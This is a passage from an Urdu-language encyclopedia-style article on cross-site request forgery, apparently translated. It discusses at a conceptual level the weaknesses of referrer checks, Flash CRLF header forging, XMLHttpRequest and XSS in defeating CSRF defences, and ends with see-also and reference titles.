سخت ریفرر توثیق براؤزرز یا پراکسیز کے ساتھ مسائل کا سبب بن سکتی ہے جو پرائیویسی وجوہات کی بنا پر ریفرر ہیڈر کو چھوڑ دیتے ہیں۔ نیز، فلیش کے پرانے ورژن (9.0.18 سے پہلے) سی آر ایل ایف انجیکشن کا استعمال کرتے ہوئے صوابدیدی ایچ ٹی ٹی پی درخواست ہیڈر کے ساتھ جی ای ٹی یا پوسٹ درخواستیں تیار کرنے کے لیے بدنیتی پر مبنی فلیش کی اجازت دیتے ہیں۔ کلائنٹ میں اسی طرح کے سی آر ایل ایف انجکشن کی کمزوریوں کو ایچ ٹی ٹی پی کی درخواست کے ریفرر کو دھوکہ دینے کے لیے استعمال کیا جا سکتا ہے۔ پوسٹ درخواست کا طریقہ کچھ عرصے کے لیے یو آر ایل میں پیرامیٹرز (جی ای ٹی طریقہ استعمال کرتے ہوئے) کا استعمال کرتے ہوئے معمولی سی ایس آر ایف حملوں سے محفوظ سمجھا جاتا تھا۔ تاہم، پوسٹ اور کسی بھی دوسرے ایچ ٹی ٹی پی طریقہ دونوں کو اب ایکس ایم ایل ایچ ٹی ٹی پی ریکوسٹ کا استعمال کرتے ہوئے آسانی سے انجام دیا جا سکتا ہے۔ غیر متوقع جی ای ٹی درخواستوں کو فلٹر کرنا اب بھی کچھ مخصوص حملوں کو روکتا ہے، جیسے بدنیتی پر مبنی تصویری یو آر ایل یا لنک پتے کا استعمال کرتے ہوئے کراس سائٹ حملے اور <اسکرپٹ> عناصر (جاوا اسکرپٹ ہائی جیکنگ) کے ذریعے کراس سائٹ کی معلومات کا رساو ؛ یہ جارحانہ ویب کرالرز اور لنک پری فیچنگ کے ساتھ (غیر سیکیورٹی سے متعلق) مسائل کو بھی روکتا ہے۔ کراس سائٹ اسکرپٹنگ (ایکس ایس ایس) کی کمزوریاں (یہاں تک کہ ایک ہی ڈومین پر چلنے والی دیگر ایپلی کیشنز میں بھی) حملہ آوروں کو بنیادی طور پر تمام سی ایس آر ایف کی روک تھام کو نظرانداز کرنے کی اجازت دیتی ہیں۔ یہ بھی دیکھیں بریچ الجھن کا شکار ڈپٹی مسئلہ CRIME ویب میسجنگ ہیپ اسپرےنگ ری پلے اٹیک سیشن فکسشن ایپلی کیشن سیکیورٹی حوالہ جات بیرونی لنکس کراس سائٹ کی درخواست جعل سازی کے بارے میں ایک انتہائی غیر منتخب حقیقت کراس سائٹ کی درخواست اکثر پوچھے جانے والے سوالات کراس سائٹ کی درخواست جعل سازی سے ویب ایپلی کیشن سیکیورٹی کنسورشیم تھریٹ کلاسفیکیشن پروجیکٹ ویب سیکیورٹی کے کارنامے